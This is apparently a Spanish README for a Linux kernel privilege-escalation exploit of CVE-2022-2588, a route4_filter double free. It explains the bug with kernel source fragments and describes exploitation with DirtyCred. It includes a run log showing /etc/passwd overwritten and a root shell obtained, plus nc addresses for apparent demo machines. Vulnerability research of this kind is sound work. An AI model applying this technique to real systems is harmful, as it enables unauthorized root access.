
exploit para CVE-2022-2588
El error está corregido en Linux v5.19 por este commit.
El error fue introducido en Linux v3.17 por este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, que fue causado por una operación incorrecta en la lista enlazada de route4_filter. Más detalles de CVE-2021-3715 se pueden encontrar en la charla de blackhat (página 16). A continuación se muestran algunos detalles breves de CVE-2022-2588.
El siguiente código muestra fragmentos importantes de la función route4_change para entender CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La función está implementada para inicializar/reemplazar el objeto route4_filter. El filtro usa handle como un identificador único para distinguir entre cada filtro. Si existe un handle que ya ha sido inicializado (es decir, la variable fold no es nula), actualizará el filtro eliminando el antiguo y agregando uno nuevo; de lo contrario, solo agregará un nuevo filtro.
En [0], el kernel asigna el objeto route4_filter. En [1], si fold no está vacío, lo que significa que existe un filtro con el mismo handle, copiará cierta información al nuevo filtro e inicializará el nuevo filtro en [2], luego insertará el nuevo filtro en la lista en [3]. Si el filtro antiguo existe, se elimina de la lista en [4] y se libera en [6].
El error ocurre en [4], que verifica si existe un filtro antiguo para ser eliminado. La condición asegura que el handle no debe ser cero y debe coincidir con el handle del nuevo filtro. Esta condición no se alinea con la condición de liberación del filtro en [6], que solo verifica si el filtro antiguo existe. Por lo tanto, si los usuarios crean un filtro cuyo handle es 0, y luego activan su reemplazo, el filtro no se desvinculará en [4] pero se liberará en [6] ya que sus condiciones no son las mismas.
Dado que este error es similar a CVE-2021-3715, sus primitivas son casi las mismas. Los lectores pueden consultar la charla de blackhat para una descripción más detallada de las primitivas. Este informe muestra la explotación con la idea de DirtyCred.
Dado que el fold liberado aún está en la lista enlazada después de activar el error, podemos liberar fold una vez más, lo que eventualmente causará un doble free en el objeto route4_filter y en el objeto route4_filter->exts.action si CONFIG_NET_CLS_ACT está habilitado.
Los códigos del exploit utilizan estas dos capacidades de doble free para demostrar el ataque sobre las credenciales de tarea (utilizando doble free en kmalloc-192, próximamente) y las credenciales de archivo abierto (utilizando doble free en kmalloc-256).
Siguiendo la idea de DirtyCred, el código del exploit intercambia la credencial del archivo después de las comprobaciones de permisos, de modo que podamos escribir cualquier contenido en archivos con permiso de lectura. Idealmente, el código podría funcionar en todas las versiones del kernel afectadas por el error. Se destaca que para asegurar que el código funcione en kernels más antiguos donde msg_msg está aislado en kmalloc-rcl-*, el exploit utiliza un objeto de spray diferente.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
El exploit fue escrito para funcionar en la mayor cantidad de distribuciones posible. Se confirmó que funciona en:
(No dudes en enviar un PR para actualizar esto si descubres que funciona en otros kernels.)
Inicia sesión con el usuario low y la contraseña low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338